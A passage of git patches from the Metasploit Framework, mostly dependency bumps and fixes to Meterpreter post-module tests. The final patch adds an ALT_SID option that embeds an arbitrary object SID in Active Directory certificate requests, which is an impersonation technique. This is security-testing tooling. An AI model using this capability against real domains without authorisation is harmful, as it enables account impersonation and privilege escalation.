service_create(service_name, display: display_name, path: datastore['BINPATH'], @@ -179,11 +192,14 @@ def test_change end def test_restart_disabled + return skip('session platform is not windows') unless session.platform == 'windows' + service_name = "a" << Rex::Text.rand_text_alpha(5) display_name = service_name - it "should start a disabled service #{service_name}" do + it "should start a disabled service" do ret = true + vprint_status("creating new service #{service_name}") results = service_create(service_name, display: display_name, path: datastore['BINPATH'], @@ -204,6 +220,7 @@ def test_restart_disabled end def test_restart_start + return skip('session platform is not windows') unless session.platform == 'windows' service_name = datastore['SSERVICE'] it "should restart a started service #{service_name}" do @@ -221,6 +238,7 @@ def test_restart_start end def test_noaccess + return skip('session platform is not windows') unless session.platform == 'windows' it "should raise a runtime exception if no access to service" do ret = false begin @@ -234,6 +252,7 @@ def test_noaccess end def test_no_service + return skip('session platform is not windows') unless session.platform == 'windows' it "should raise a runtime exception if services doesnt exist" do ret = false begin From f30bc86c8a6eb3b0c02ab369c361bbd0bfd597da Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 13:04:20 +0100 Subject: [PATCH 392/415] Fix rex-text crashes when running ruby 3.3 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 788651d88a1de..e39fc5bf79774 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -395,7 +395,7 @@ GEM rex-socket rex-text rex-struct2 (0.1.3) - rex-text (0.2.50) + rex-text (0.2.52) rex-zip (0.1.4) rex-text rexml (3.2.5) From d6a50acf83b67df585af67f463eea48f173b75cb Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 13:10:46 +0100 Subject: [PATCH 393/415] Fix python meterpreter subprocess deadlock and file descriptor leak --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 788651d88a1de..4fb4f133a3b2c 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -32,7 +32,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.137) + metasploit-payloads (= 2.0.138) metasploit_data_models metasploit_payloads-mettle (= 1.0.20) mqtt @@ -258,7 +258,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.137) + metasploit-payloads (2.0.138) metasploit_data_models (6.0.2) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 9d89268e1fc83..cd07e15361b9b 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.137' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.138' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20' # Needed by msfgui and other rpc components From 793e0887ffddb20ca8ed59b3da1170a3157faeee Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 16:43:51 +0100 Subject: [PATCH 394/415] Fix osx route command when mac addresses are split by dots --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 6a7798af5b3c2..67b8a706f647a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -32,7 +32,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.138) + metasploit-payloads (= 2.0.139) metasploit_data_models metasploit_payloads-mettle (= 1.0.20) mqtt @@ -258,7 +258,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.138) + metasploit-payloads (2.0.139) metasploit_data_models (6.0.2) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index cd07e15361b9b..ff0d95b8eafaa 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.138' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.139' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20' # Needed by msfgui and other rpc components From 00d1f03b8a6e2aa49810b3f8aa3c497d0f4fb5a8 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 17:09:06 +0100 Subject: [PATCH 395/415] Fix false negatives on files not existing on windows python meterpreter --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 67b8a706f647a..ff6fa2b3d1f82 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -32,7 +32,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.139) + metasploit-payloads (= 2.0.140) metasploit_data_models metasploit_payloads-mettle (= 1.0.20) mqtt @@ -258,7 +258,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.139) + metasploit-payloads (2.0.140) metasploit_data_models (6.0.2) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index ff0d95b8eafaa..ae2675cf71f39 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.139' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.140' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20' # Needed by msfgui and other rpc components From b2d0cdaa283e2670379a1c419af3230c9a63c486 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 14 Jun 2023 11:19:22 -0500 Subject: [PATCH 396/415] lock nokogiri due to compile issue --- Gemfile.lock | 6 +++--- metasploit-framework.gemspec | 3 ++- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 053720c0161ac..0270902f152ab 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -43,7 +43,7 @@ PATH net-ssh network_interface nexpose - nokogiri + nokogiri (~> 1.14.0) octokit (~> 4.0) openssl-ccm openvas-omp @@ -288,8 +288,8 @@ GEM network_interface (0.0.2) nexpose (7.3.0) nio4r (2.5.9) - nokogiri (1.15.2) - mini_portile2 (~> 2.8.2) + nokogiri (1.14.3) + mini_portile2 (~> 2.8.0) racc (~> 1.4) nori (2.6.0) octokit (4.25.1) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 9d89268e1fc83..d2e2b46b19ea4 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -83,7 +83,8 @@ Gem::Specification.new do |spec| # NTLM authentication spec.add_runtime_dependency 'rubyntlm' # Needed by anemone crawler - spec.add_runtime_dependency 'nokogiri' + # Locked until build env can handle newer version due to native compile issue in 1.15.x + spec.add_runtime_dependency 'nokogiri', '~> 1.14.0' # Needed by db.rb and Msf::Exploit::Capture spec.add_runtime_dependency 'packetfu' # For sniffer and raw socket modules From ceb85e08c97f81dfc1d9fd8b73169b5a2c7dc47a Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 14 Jun 2023 11:30:25 -0500 Subject: [PATCH 397/415] update to latest nokogiri 1.14.x --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 0270902f152ab..300ea1ecde926 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -288,7 +288,7 @@ GEM network_interface (0.0.2) nexpose (7.3.0) nio4r (2.5.9) - nokogiri (1.14.3) + nokogiri (1.14.5) mini_portile2 (~> 2.8.0) racc (~> 1.4) nori (2.6.0) From 2d87447db713a403b1158fc71c10a03444b4a0b5 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 18:01:39 +0100 Subject: [PATCH 398/415] Fix time command bug when running complex commands --- lib/msf/ui/console/command_dispatcher/developer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/developer.rb b/lib/msf/ui/console/command_dispatcher/developer.rb index 7b2fb7c5d569b..0012e8e261332 100644 --- a/lib/msf/ui/console/command_dispatcher/developer.rb +++ b/lib/msf/ui/console/command_dispatcher/developer.rb @@ -405,7 +405,7 @@ def cmd_time(*args) begin start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC) - command = args.join(' ') + command = Shellwords.shelljoin(args) case profiler when '--cpu' From 69b7635f0fb83054f1f3fe336c14ee8563829364 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 18:39:58 +0100 Subject: [PATCH 399/415] Update SessionTLVLogging to no longer truncate useful values --- lib/rex/post/meterpreter/packet.rb | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 005cb0b3c37d8..d8e0eaf50fafe 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -350,10 +350,6 @@ def inspect else; _tlv_type_string(type) end - val = value.inspect - if val.length > 50 - val = val[0,50] + ' ..."' - end group ||= (self.class.to_s =~ /Packet/) if group has_command_ids = type == PACKET_TYPE_RESPONSE && (self.method == COMMAND_ID_CORE_ENUMEXTCMD || self.method == COMMAND_ID_CORE_LOADLIB) @@ -376,6 +372,20 @@ def inspect } tlvs_inspect << "]" else + val = value.inspect + # Known list of datatypes that shouldn't be truncated, as their values are useful when debugging + is_val_truncation_allowed = ![ + Rex::Post::Meterpreter::TLV_TYPE_UUID, + Rex::Post::Meterpreter::Extensions::Priv::TLV_TYPE_FS_FILE_PATH, + Rex::Post::Meterpreter::Extensions::Priv::TLV_TYPE_FS_SRC_FILE_PATH, + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_FILE_PATH, + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_DIRECTORY_PATH, + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_STAT_BUF, + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PROCESS_PATH, + ].include?(type) + if is_val_truncation_allowed && val.length > 50 + val = val[0,50] + ' ..."' + end tlvs_inspect = "meta=#{meta.ljust(10)} value=#{val}" if type == TLV_TYPE_COMMAND_ID begin From 95f30d1f3ffb44d8a1df4afc8a71a893c06d9207 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 18:56:20 +0100 Subject: [PATCH 400/415] Fix flakey post test services module --- test/modules/post/test/services.rb | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index b0d42adaeef1b..39170117da0de 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -66,6 +66,9 @@ def test_start def test_list return skip('session platform is not windows') unless session.platform == 'windows' + if !session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) + return skip('reg query support skipped for now as the query takes more than two minutes') + end it "should list services" do ret = true @@ -82,17 +85,17 @@ def test_list def test_info return skip('session platform is not windows') unless session.platform == 'windows' - it "should return info on a given service #{datastore["QSERVICE"]}" do + it "should return info on a given service #{datastore["QSERVICE"]}" do ret = true results = service_info(datastore['QSERVICE']) + vprint_status("Service details: #{results}") ret &&= results.kind_of? Hash if ret - ret &&= results.has_key? :display - ret &&= (results[:display] == "Windows Management Instrumentation") - ret &&= results.has_key? :starttype - ret &&= results.has_key? :path - ret &&= results.has_key? :startname + ret &&= results[:display].is_a?(String) + ret &&= results[:starttype].is_a?(Integer) + ret &&= results[:path].is_a?(String) + ret &&= results[:startname].is_a?(String) end ret @@ -102,7 +105,7 @@ def test_info def test_create return skip('session platform is not windows') unless session.platform == 'windows' - it "should create a service #{datastore["NSERVICE"]}" do + it "should create a service #{datastore["NSERVICE"]}" do mode = case datastore["MODE"] when "disable"; START_TYPE_DISABLED when "manual"; START_TYPE_MANUAL @@ -227,7 +230,7 @@ def test_restart_start ret = true results = service_start(service_name) - ret &&= (results == Windows::Error::SUCCESS) + ret &&= (results == Windows::Error::SUCCESS || results == Windows::Error::SERVICE_ALREADY_RUNNING) if ret results = service_restart(service_name) ret &&= results From 5b1847545767fa72fe4a6e78363ac353fa5b9238 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 18:47:27 +0100 Subject: [PATCH 401/415] Extract rspec wait for expect helper --- spec/api/json_rpc_spec.rb | 23 +------------------ .../shared/contexts/wait_for_expect.rb | 23 +++++++++++++++++++ 2 files changed, 24 insertions(+), 22 deletions(-) create mode 100644 spec/support/shared/contexts/wait_for_expect.rb diff --git a/spec/api/json_rpc_spec.rb b/spec/api/json_rpc_spec.rb index 729f2e5e33950..c2f1c13740c47 100644 --- a/spec/api/json_rpc_spec.rb +++ b/spec/api/json_rpc_spec.rb @@ -12,6 +12,7 @@ include_context 'Msf::DBManager' include_context 'Metasploit::Framework::Spec::Constants cleaner' include_context 'Msf::Framework#threads cleaner', verify_cleanup_required: false + include_context 'wait_for_expect' let(:health_check_url) { '/api/v1/health' } let(:rpc_url) { '/api/v1/json-rpc' } @@ -123,28 +124,6 @@ def mock_rack_env(mock_rack_env_value) end end - # Waits until the given expectations are all true. This function executes the given block, - # and if a failure occurs it will be retried `retry_count` times before finally failing. - # This is useful to expect against asynchronous/eventually consistent systems. - # - # @param retry_count [Integer] The total amount of times to retry the given expectation - # @param sleep_duration [Integer] The total amount of time to sleep before trying again - def wait_for_expect(retry_count = 20, sleep_duration = 0.5) - failure_count = 0 - - begin - yield - rescue RSpec::Expectations::ExpectationNotMetError - failure_count += 1 - if failure_count < retry_count - sleep sleep_duration - retry - else - raise - end - end - end - describe 'health status' do context 'when using the REST health check functionality' do it 'passes the health check' do diff --git a/spec/support/shared/contexts/wait_for_expect.rb b/spec/support/shared/contexts/wait_for_expect.rb new file mode 100644 index 0000000000000..ff73d069ff028 --- /dev/null +++ b/spec/support/shared/contexts/wait_for_expect.rb @@ -0,0 +1,23 @@ +RSpec.shared_context "wait_for_expect" do + # Waits until the given expectations are all true. This function executes the given block, + # and if a failure occurs it will be retried `retry_count` times before finally failing. + # This is useful to expect against asynchronous/eventually consistent systems. + # + # @param retry_count [Integer] The total amount of times to retry the given expectation + # @param sleep_duration [Integer] The total amount of time to sleep before trying again + def wait_for_expect(retry_count = 40, sleep_duration = 0.5) + failure_count = 0 + + begin + yield + rescue RSpec::Expectations::ExpectationNotMetError + failure_count += 1 + if failure_count < retry_count + sleep sleep_duration + retry + else + raise + end + end + end +end From dc5a42bd7d69de81535e34beb1c6ae51a1ed4de9 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 19:23:55 +0100 Subject: [PATCH 402/415] Update test post modules to always have a clean file system directory --- test/lib/module_test.rb | 75 +++++++++++++++++++++++++++ test/modules/post/test/file.rb | 23 +++----- test/modules/post/test/meterpreter.rb | 31 +++-------- test/modules/post/test/search.rb | 35 +++++-------- 4 files changed, 101 insertions(+), 63 deletions(-) diff --git a/test/lib/module_test.rb b/test/lib/module_test.rb index 135123238ee83..394e04d6dd029 100644 --- a/test/lib/module_test.rb +++ b/test/lib/module_test.rb @@ -92,4 +92,79 @@ def run end end end + + module ModuleTest::PostTestFileSystem + def initialize(info = {}) + super + + register_options( + [ + OptBool.new("AddEntropy", [false, "Add entropy token to file and directory names.", true]), + OptString.new('BaseDirectoryName', [true, 'Directory name to create', 'meterpreter-test-dir']), + OptString.new("BaseFileName", [true, "File/dir base name", "meterpreter-test"]), + ], self.class + ) + + @directory_stack = [] + end + + def push_test_directory + @directory_stack.push(_file_system.pwd) + + # Find the temp directory + tmp = _file_system.get_env("TMP") || _file_system.get_env("TMPDIR") + # mettle fallback + tmp = '/tmp' if tmp.nil? && _file_system.directory?('/tmp') + raise "Could not find tmp directory" if tmp == nil || !_file_system.directory?(tmp) + + vprint_status("Setup: changing working directory to tmp: #{tmp}") + _file_system.cd(tmp) + + vprint_status("Setup: Creating clean directory") + + if datastore["AddEntropy"] + entropy_value = '-' + ('a'..'z').to_a.shuffle[0, 8].join + else + entropy_value = "" + end + clean_test_directory = datastore['BaseDirectoryName'] + entropy_value + _file_system.mkdir(clean_test_directory) + _file_system.cd(clean_test_directory) + + vprint_status("Setup: Now in #{_file_system.pwd}") + end + + def pop_test_directory + previous_directory = @directory_stack.pop + unless previous_directory.nil? + vprint_status("Cleanup: changing working directory back to #{previous_directory}") + _file_system.cd(previous_directory) + end + end + + # Private PostFile wrapper to ensure we don't clobber the test module's namespace with the Msf::Post::File mixin methods + class FileSystem + include Msf::Post::File + + def initialize(mod) + @mod = mod + @session = mod.session + end + + private + + def vprint_status(s) + @mod.vprint_status(s) + end + + def register_dir_for_cleanup(path) + end + + attr_reader :session + end + + def _file_system + FileSystem.new(self) + end + end end diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 5fe9d5127dc59..25fd9293a785c 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTestFileSystem include Msf::Post::Common include Msf::Post::File @@ -24,13 +25,6 @@ def initialize(info = {}) 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) - - register_options( - [ - OptString.new('BaseDirectoryName', [true, 'Directory name to create', 'test-dir']), - OptString.new('BaseFileName', [true, 'File name to create', 'test-file']) - ], self.class - ) end # @@ -39,11 +33,12 @@ def initialize(info = {}) # The +cleanup+ method will change it back # def setup - @old_pwd = pwd - tmp = directory?('/tmp') ? '/tmp' : '%TEMP%' - vprint_status("Setup: changing working directory to #{tmp}") - cd(tmp) + push_test_directory + super + end + def cleanup + pop_test_directory super end @@ -284,12 +279,6 @@ def test_path_expansion_nix end end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - cd(@old_pwd) - super - end - def make_symlink(target, symlink) if session.platform == 'windows' cmd_exec("cmd.exe /c mklink #{directory?(target) ? '/D ' : ''}#{symlink} #{target}") diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index d2332bce41092..3225057997716 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTestFileSystem def initialize(info = {}) super( @@ -21,32 +22,20 @@ def initialize(info = {}) 'SessionTypes' => [ 'meterpreter' ] ) ) - register_options( - [ - OptBool.new("AddEntropy", [false, "Add entropy token to file and directory names.", false]), - OptString.new("BaseFileName", [true, "File/dir base name", "meterpreter-test"]) - ], self.class - ) end # # Change directory into a place that we have write access. # - # The +cleanup+ method will change it back. This method is an implementation - # of post/test/file.rb's method of the same name, but without the Post::File - # dependency. + # The +cleanup+ method will change it back. # def setup - @old_pwd = session.fs.dir.getwd - stat = session.fs.file.stat("/tmp") rescue nil - if (stat and stat.directory?) - tmp = "/tmp" - else - tmp = session.sys.config.getenv('TEMP') - end - vprint_status("Setup: changing working directory to #{tmp}") - session.fs.dir.chdir(tmp) + push_test_directory + super + end + def cleanup + pop_test_directory super end @@ -380,12 +369,6 @@ def test_sniffer end =end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - session.fs.dir.chdir(@old_pwd) - super - end - protected def create_directory(name) diff --git a/test/modules/post/test/search.rb b/test/modules/post/test/search.rb index 9497757eb0e0a..6019a7276b92e 100644 --- a/test/modules/post/test/search.rb +++ b/test/modules/post/test/search.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTestFileSystem def initialize(info = {}) super( @@ -21,24 +22,15 @@ def initialize(info = {}) 'SessionTypes' => [ 'meterpreter' ] ) ) - register_options( - [ - OptBool.new("AddEntropy", [false, "Add entropy token to file and directory names.", false]), - OptString.new("BaseFileName", [true, "File/dir base name", "meterpreter-test"]) - ], self.class - ) end + # + # Change directory into a place that we have write access. + # + # The +cleanup+ method will change it back + # def setup - @old_pwd = session.fs.dir.getwd - stat = session.fs.file.stat("/tmp") rescue nil - if (stat and stat.directory?) - tmp = "/tmp" - else - tmp = session.sys.config.getenv('TEMP') - end - vprint_status("Setup: changing working directory to #{tmp}") - session.fs.dir.chdir(tmp) + push_test_directory if datastore["AddEntropy"] entropy_value = '-' + ('a'..'z').to_a.shuffle[0, 8].join @@ -55,6 +47,12 @@ def setup super end + def cleanup + pop_test_directory + session.fs.file.rm(@file_name) rescue nil + super + end + def test_fs_search vprint_status("Starting search tests") @@ -185,11 +183,4 @@ def test_fs_search_date end end - def cleanup - session.fs.file.rm(@file_name) rescue nil - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - session.fs.dir.chdir(@old_pwd) - super - end - end From 75d74d2e3ca69a8554480e7c4d46d1aa162db5df Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 19:35:54 +0100 Subject: [PATCH 403/415] Add namespaced test module logging --- test/lib/module_test.rb | 25 +++++++++++++++++++++++-- 1 file changed, 23 insertions(+), 2 deletions(-) diff --git a/test/lib/module_test.rb b/test/lib/module_test.rb index 135123238ee83..4588c1d528c42 100644 --- a/test/lib/module_test.rb +++ b/test/lib/module_test.rb @@ -35,17 +35,20 @@ def skip(msg = "No reason given") end def it(msg = "", &block) + @current_it_msg = msg @tests += 1 begin result = block.call unless result - print_error("FAILED: #{msg}") - print_error("FAILED: #{error}") if error @failures += 1 + print_error("FAILED: #{error}") if error + @current_it_msg = nil + print_error("FAILED: #{msg}") return end rescue SkipTestError => e @skipped += 1 + @current_it_msg = nil print_status("SKIPPED: #{msg} (#{e.message})") rescue ::Exception => e @failures += 1 @@ -54,6 +57,8 @@ def it(msg = "", &block) dlog("Exception in testing - #{msg}") dlog("Call stack: #{e.backtrace.join("\n")}") return + ensure + @current_it_msg = nil end print_good("#{msg}") @@ -67,6 +72,22 @@ def pending(msg = "", &block) def passed @tests - @failures end + + # When printing to console, additionally prepend the current test name + [ + :print, + :print_line, + :print_status, + :print_good, + + :print_warning, + :print_error, + :print_bad, + ].each do |method| + define_method(method) do |msg| + super(@current_it_msg ? "[#{@current_it_msg}] #{msg}" : msg) + end + end end module ModuleTest::PostTest From bec47e8b59575e7e8b61c0dfcb78ed97c887c432 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 19:50:28 +0100 Subject: [PATCH 404/415] Fix unitialized constant error when meterpreter registry key reads timeout --- lib/msf/core/post/windows/registry.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 19f8a4b618176..d3dc129956492 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -668,7 +668,7 @@ def meterpreter_registry_key_exist?(key) begin check = session.sys.registry.check_key_exists(root_key, base_key) - rescue Rex::Post::Meterpreter::RequestError, TimesoutError + rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError return false end From 2a66987e3925d8820dbe248dd75dba23ebef288c Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 19:56:02 +0100 Subject: [PATCH 405/415] Fix symlink test bug when running python meterpreter on windows --- test/modules/post/test/file.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 5fe9d5127dc59..d6a475614708a 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -292,7 +292,7 @@ def cleanup def make_symlink(target, symlink) if session.platform == 'windows' - cmd_exec("cmd.exe /c mklink #{directory?(target) ? '/D ' : ''}#{symlink} #{target}") + cmd_exec("cmd.exe", "/c mklink #{directory?(target) ? '/D ' : ''}#{symlink} #{target}") else cmd_exec("ln -s $(pwd)/#{target} $(pwd)/#{symlink}") end From 3ee02a0e41bbcdb98d0951a7581e39a0604dd020 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 31 May 2023 17:31:40 -0400 Subject: [PATCH 406/415] Add the ALT_SID datastore option --- lib/msf/core/exploit/remote/ms_icpr.rb | 36 ++++++++++++++++++++------ 1 file changed, 28 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index 5071c3d56f3dd..15e8350c4a8c4 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -38,6 +38,7 @@ def initialize(info = {}) OptString.new('CA', [ true, 'The target certificate authority' ]), OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]), OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]), + OptString.new('ALT_SID', [ false, 'Alternative object SID' ]), OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]), OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]), OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]), @@ -51,6 +52,10 @@ def initialize(info = {}) def setup errors = {} + if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/ + errors['ALT_SID'] = 'Must be a valid SID.' + end + if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/ errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.' end @@ -102,7 +107,6 @@ def request_certificate(opts = {}) raise MsIcprUnknownError, e.message end - module_function def connect_ipc @@ -146,6 +150,7 @@ def do_request_cert(icpr, opts) user = opts[:username] || datastore['SMBUser'] status_msg = "Requesting a certificate for user #{user}" alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS']) + alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID']) alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN']) algorithm = opts[:algorithm] || datastore['DigestAlgorithm'] status_msg << " - alternate DNS: #{alt_dns}" if alt_dns @@ -155,6 +160,7 @@ def do_request_cert(icpr, opts) cn: user, private_key: private_key, dns: alt_dns, + msext_sid: alt_sid, msext_upn: alt_upn, algorithm: algorithm ) @@ -205,14 +211,14 @@ def do_request_cert(icpr, opts) return unless response[:certificate] - if (upn = get_cert_msext_upn(response[:certificate])) - print_status("Certificate UPN: #{upn}") - end - if (sid = get_cert_msext_sid(response[:certificate])) print_status("Certificate SID: #{sid}") end + if (upn = get_cert_msext_upn(response[:certificate])) + print_status("Certificate UPN: #{upn}") + end + pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate]) # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate" @@ -245,9 +251,10 @@ def do_request_cert(icpr, opts) # @param [String] cn The common name for the certificate. # @param [OpenSSL::PKey] private_key The private key for the certificate. # @param [String] dns An alternative DNS name to use. + # @param [String] msext_sid An explicit SID to specify for strong identity mapping. # @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature). # @return [OpenSSL::X509::Request] The request object. - def build_csr(cn:, private_key:, dns: nil, msext_upn: nil, algorithm: 'SHA256') + def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256') request = OpenSSL::X509::Request.new request.version = 1 request.subject = OpenSSL::X509::Name.new([ @@ -255,15 +262,28 @@ def build_csr(cn:, private_key:, dns: nil, msext_upn: nil, algorithm: 'SHA256') ]) request.public_key = private_key.public_key + extensions = [] + subject_alt_names = [] subject_alt_names << "DNS:#{dns}" if dns subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn unless subject_alt_names.empty? - extension = OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) + extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) + end + + if msext_sid + ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { + type_id: OID_NTDS_OBJECTSID, + value: msext_sid + }) + extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) + end + + unless extensions.empty? request.add_attribute(OpenSSL::X509::Attribute.new( 'extReq', OpenSSL::ASN1::Set.new( - [OpenSSL::ASN1::Sequence.new([extension])] + [OpenSSL::ASN1::Sequence.new(extensions)] ) )) end From 6988227ee456391fa2944a28a52ba7717ca17634 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: 